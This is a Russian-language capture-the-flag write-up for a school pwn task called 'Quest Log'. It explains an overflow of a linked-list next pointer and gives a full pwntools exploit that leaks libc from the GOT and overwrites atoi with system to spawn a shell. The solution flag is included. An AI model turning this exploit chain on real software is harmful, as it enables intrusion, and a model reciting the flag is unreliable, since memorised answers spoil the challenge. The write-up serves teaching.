# PWN 10 класс — Quest Log

## Описание

Программа реализует менеджер квестов в виде связного списка. 
Все узлы хранятся в глобальном массиве `pool` в секции `.bss`.

```c
#define MAX_QUESTS 16

typedef struct Node {
    char        name[16];
    struct Node *next;
    int          active;
    int          pad;
} Node;

Node  pool[MAX_QUESTS];
```

В функции `edit_quest` есть уязвимость переполнения буфера при считывании имени квеста из stdin.
```c
static void edit_quest(void) {
// ...
    printf("New name: ");
    read(0, curr->name, 32);
    puts("Quest updated!");
}
```

После буфера `char name[16]` в структуре располагается указатель на следующую ноду списка - `struct Node *next`, переписав который мы можем разместить «ложную» ноду по произвольному адресу в памяти, что позволяет получить примитивы эксплуатации Arbitrary Read и Arbitrary Write через выбор ложной ноды в функциях `show_quests` и `edit_quest`.

```
pwn checksec ./chall 
[*] './chall'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
```

В бинарном файле выключен PIE, что позволяет прочитать адрес функций `libc.so` из GOT (Global Offset Table), например - `__libc_start_main`, получив базовый адрес `libc.so`, мы можем вычислить адрес функции `system` и записать его в ячейку таблицы GOT для функции `atoi`, которая принимает первым аргументом пользовательский ввод, в который можно подать строку "/bin/sh", чтобы получить шелл на сервере.

## Код эксплойта

```python
from pwn import *

elf  = ELF("./chall")
libc = ELF("./libc.so.6")

context.binary = elf

p = process([elf.path])

def add(name: bytes):
    p.sendafter(b"> ", b"1\n")
    p.sendafter(b"Quest name: ", name)

def show():
    p.sendafter(b"> ", b"2\n")

def edit(idx: int, data: bytes):
    p.sendafter(b"> ", b"3\n")
    p.sendafter(b"Quest index: ", str(idx).encode() + b"\n")
    p.sendafter(b"New name: ", data)

add(b"Mine diamonds\n")
add(b"Kill Ender Dragon\n")

lsm_got = elf.got["__libc_start_main"]
edit(0, b"A" * 16 + p64(lsm_got))

show()
p.recvuntil(b"[1] ")
leak_raw  = p.recvline().strip()
lsm_leak  = u64(leak_raw.ljust(8, b"\x00"))
log.success(f"__libc_start_main @ {hex(lsm_leak)}")

libc.address = lsm_leak - libc.symbols["__libc_start_main"]
log.success(f"libc base @ {hex(libc.address)}")

system_addr = libc.symbols["system"]

atoi_got = elf.got["atoi"]
edit(0, b"B" * 16 + p64(atoi_got))

edit(1, p64(system_addr))

p.sendafter(b"> ", b"/bin/sh\x00")

p.interactive()
```

## Флаг

```
vsosh{h34pl3ss_g0t_0wn3d_gg}
```
